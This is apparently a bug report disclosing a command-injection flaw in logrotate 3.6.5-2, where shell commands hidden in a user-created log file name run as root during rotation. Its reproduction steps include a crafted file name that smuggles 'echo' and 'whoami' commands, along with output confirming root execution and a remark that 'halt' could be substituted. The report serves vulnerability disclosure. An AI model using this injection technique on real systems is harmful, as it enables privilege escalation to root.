Description of problem:
If you're rotating logs in directories that are writable by users other than 
root, those users can run commands as root quite easily.

Version-Release number of selected component (if applicable):
logrotate-3.6.5-2

How reproducible:
Always

Steps to Reproduce:
1. First, create a user called "testuser":

# useradd testuser

2. Create a file called "/etc/logrotate.d/test" with the contents:

/home/testuser/*.log {
  daily
  compress
}

3. Then:

# su - testuser
$ echo something > "';echo -n 'This command is running as ';whoami;'.log"
$ exit
# /usr/sbin/logrotate -f /etc/logrotate.conf

Actual Results:  
gzip: /home/testuser/ is a directory -- ignored
This command is running as root
sh: line 1: .log.1: command not found
failed to compress log /home/testuser/';echo -n 'This command is running 
as ';whoami;'.log.1

As can be seen, it executed the 'echo' and 'whoami' commands we embedded into 
the log filename. ("This command is running as root")

Other mischievous things are obviously possible, such as halting the system (by 
embedding a "halt" command instead).

Expected Results:  It shouldn't have executed those commands.

Additional info:

It appears an attempt to fix this was before (see #21348) but clearly the fix 
was not complete...